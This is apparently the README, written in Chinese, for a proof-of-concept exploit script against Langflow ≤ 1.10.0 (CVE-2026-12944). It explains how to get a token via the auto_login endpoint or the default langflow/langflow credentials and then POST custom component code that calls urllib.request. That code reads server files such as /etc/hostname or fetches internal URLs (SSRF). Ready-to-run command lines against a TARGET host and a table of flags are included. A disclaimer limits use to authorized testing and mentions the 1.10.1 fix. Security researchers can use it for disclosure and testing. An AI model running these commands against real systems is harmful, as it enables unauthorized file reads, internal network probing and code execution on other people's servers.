Langflow 1.10.0 urllib SSRF
Langflow OSS ≤ 1.10.0 — 通过 urllib.request / socket 实现自定义组件代码执行。组件扫描器的拒绝列表遗漏了这些标准库模块。IBM 已在 1.10.1 中修复。
IBM 将其评为 PR:L。执行汇聚点是 POST /api/v1/custom_component,该调用需要会话 cookie / bearer token。本 PoC 获取方式如下:
--test 不进行身份验证。 它仅执行 GET /api/v1/version(外加一次连通性 GET /)。--read / --fetch 先进行身份验证,然后 POST 该组件。LANGFLOW_AUTO_LOGIN。脚本执行 GET /api/v1/auto_login,如果 JSON 中包含 access_token,则发送 Authorization: Bearer …。无需用户名或密码。--uname / --password 以 application/x-www-form-urlencoded(username、password)形式执行 POST /api/v1/login。原版默认值为 langflow / langflow。POST /api/v1/custom_component,携带 {"code": …},该代码调用 urllib.request.urlopen(...)。--uname / --password 仅用于第 4 步。在默认安装中不会使用。
仅限授权测试。请勿对您不拥有或未获授权测试的系统运行此程序。
要求: Python 3,仅使用标准库。
python3 cve-2026-12944-langflow-urllib-ssrf.py -u http://TARGET --test
python3 cve-2026-12944-langflow-urllib-ssrf.py -u http://TARGET --read /etc/hostname
python3 cve-2026-12944-langflow-urllib-ssrf.py -u http://TARGET --fetch http://127.0.0.1:7860/api/v1/version
python3 cve-2026-12944-langflow-urllib-ssrf.py -u https://TARGET --read /etc/hostname --insecure
python3 cve-2026-12944-langflow-urllib-ssrf.py -u TARGET --uname langflow --password langflow --read /etc/hostname
--test 端点:GET /api/v1/version。返回 200 且包含 "version" / "main_version" 时打印 VERSION,如果该字符串为 1.0.0–1.10.0 则打印 IN_WINDOW,然后打印 PRESENT。它从不访问 /api/v1/auto_login 或 /api/v1/custom_component。
--read / --fetch 访问 GET /api/v1/auto_login(或 POST /api/v1/login),然后访问 POST /api/v1/custom_component。
标准输出:VERSION、IN_WINDOW、OUT_OF_WINDOW、PRESENT、VULNERABLE、NEED_AUTH、NOT_FOUND、NOT_VULNERABLE、READ。

CVE:CVE-2026-12944。IBM 公告;升级至 1.10.1。
| 参数 | 作用 |
|---|
-u / --url | Langflow 基础 URL(必填)。http:// 或 https://。无 scheme 的主机名会先尝试 HTTPS,再尝试 HTTP。http→https 重定向会保留 POST。错误的 TLS 证书会在不验证的情况下重试;--insecure 从一开始就跳过验证 |
--test | 仅指纹识别:GET /api/v1/version(公开)。不登录,不调用 custom_component |
--read PATH | 触发 gadget:urllib.request 以 file:// 读取 PATH(在服务器上执行) |
--fetch URL | SSRF:urllib.request.urlopen(URL) 并打印响应体 |
--uname / --password | 仅在 AUTO_LOGIN 关闭时使用(原版默认值:langflow / langflow) |
--insecure | 跳过 TLS 验证 |
--timeout | HTTP 超时秒数(默认 30) |